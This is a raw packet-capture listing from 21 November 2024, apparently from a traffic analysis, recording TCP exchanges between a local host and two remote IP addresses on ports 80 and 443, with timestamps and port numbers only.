Nov 21, 2024 22:04:54.879538059 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.879585981 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.879667044 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.879714966 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.880517960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.880569935 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.880983114 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.881028891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.881465912 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.881567001 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.881572008 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.881599903 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.882436037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.882448912 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.882487059 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.883404016 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.883451939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.883800983 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.883848906 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.884352922 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.884470940 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.884979010 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.885024071 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.885344982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.885390043 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.885518074 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.885560036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.886315107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.886378050 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.887298107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.887307882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.887327909 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.887367964 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.887411118 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.888214111 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.888264894 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.888395071 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.888528109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.889182091 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.889389038 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.890182018 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.890192032 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.890203953 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.890233040 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.890264034 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.891150951 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.891163111 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.891202927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.892076015 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.892148972 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.892400980 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.892452955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.893037081 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.893230915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.893806934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.893851042 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.894027948 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.894040108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.894066095 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.894085884 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.895040989 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.895052910 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.895092964 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.895113945 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.895936012 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.895981073 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.896166086 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.896215916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.896910906 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.897008896 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.897921085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.897933006 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.897968054 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.897985935 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.898037910 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.898905039 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.898916006 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.899111986 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.899785042 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.899827957 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.900190115 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.900264025 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.900787115 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.900796890 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.900851011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.901750088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.901761055 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.901829004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.902709961 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.902765989 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.902838945 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.903636932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.903707981 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.011002064 CET	443	49874	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.011008024 CET	443	49874	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.011197090 CET	49874	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.011213064 CET	443	49874	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.011332035 CET	49874	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.011763096 CET	49874	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.011763096 CET	49874	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.011770964 CET	443	49874	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.011929035 CET	443	49874	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.011960030 CET	443	49874	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.012089968 CET	49874	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.015183926 CET	49886	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.015222073 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.015472889 CET	49886	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.015670061 CET	49886	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.015685081 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.029736996 CET	443	49877	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.030235052 CET	49877	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.030261993 CET	443	49877	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.030721903 CET	49877	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.030725956 CET	443	49877	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.043034077 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.043121099 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.043149948 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.043219090 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.043457031 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.043622971 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.043652058 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.043685913 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.044435978 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.044867039 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.044893980 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.044922113 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.044945955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.045794010 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.045804024 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.045857906 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.046797991 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.046854973 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.046952009 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.046993971 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.047698975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.047745943 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.047981977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.048124075 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.048645020 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.048964024 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.049009085 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.049622059 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.049810886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.049876928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.049937010 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.050609112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.050669909 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.050947905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.051088095 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.051562071 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.051651001 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.051701069 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.052512884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.052721024 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.053169966 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.053220034 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.053483963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.053529024 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.053587914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.053806067 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.054460049 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.054615021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.054755926 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.054790974 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.055428982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.055439949 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.055474043 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.056391001 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.056401014 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.056442022 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.056467056 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.057307005 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.057632923 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.057696104 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.058342934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.058453083 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.058875084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.058922052 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.059264898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.059329987 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.059439898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.059498072 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.060228109 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.060286045 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.060323954 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.060939074 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.061172009 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.061222076 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.061579943 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.061621904 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.062139034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.062352896 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.062397957 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.063143969 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.063154936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.063198090 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.064079046 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.064219952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.064277887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.065121889 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.065170050 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.065325975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.065403938 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.066056013 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.066107988 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.066230059 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.066268921 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.066978931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.067032099 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.067044020 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.067107916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.067118883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.067950010 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.068008900 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.068082094 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.068121910 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.068948030 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.068991899 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.069039106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.069909096 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.069972038 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.069988012 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.070112944 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.070848942 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.070900917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.071305037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.071352005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.071806908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.071922064 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.071966887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.072751045 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.072848082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.072912931 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.073744059 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.073815107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.073862076 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.074697018 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.074817896 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.074862003 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.075685024 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.075798988 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.075854063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.076623917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.076766014 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.076848030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.077611923 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.077658892 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.077840090 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.078547955 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.078593969 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.079574108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.079590082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.079600096 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.079638004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.080466032 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.080676079 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.080717087 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.081412077 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.081748009 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.081799030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.082402945 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.082459927 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.082511902 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.083408117 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.083453894 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.083499908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.084382057 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.084424973 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.084486961 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.085228920 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.085316896 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.085362911 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.085776091 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.085822105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.086271048 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.086316109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.086713076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.087260962 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.087290049 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.087486982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.087543011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.088217020 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.088681936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.088748932 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.089238882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.089272022 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.089284897 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.089318037 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.090488911 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.090498924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.091541052 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.121357918 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.121500015 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.121532917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.121545076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.121567011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.121613979 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.122613907 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.122699976 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.122765064 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.235096931 CET	443	49878	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.235280037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.235294104 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.235342026 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.235615015 CET	49878	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.235636950 CET	443	49878	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.235781908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.235826969 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.235946894 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.236222982 CET	49878	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:55.236227989 CET	443	49878	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:55.236721992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.236779928 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.236922026 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.236962080 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.237714052 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.237725973 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.237765074 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.238761902 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.238774061 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.238827944 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.239837885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.239849091 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.239885092 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.240621090 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.240632057 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.240670919 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.240686893 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.241592884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.241662979 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.241724014 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.242492914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.242541075 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.242717028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.242759943 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.243458033 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.243509054 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.243577003 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:55.243709087 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:55.244399071 CET	80	49819	185.215.113.206	192.168.2.7
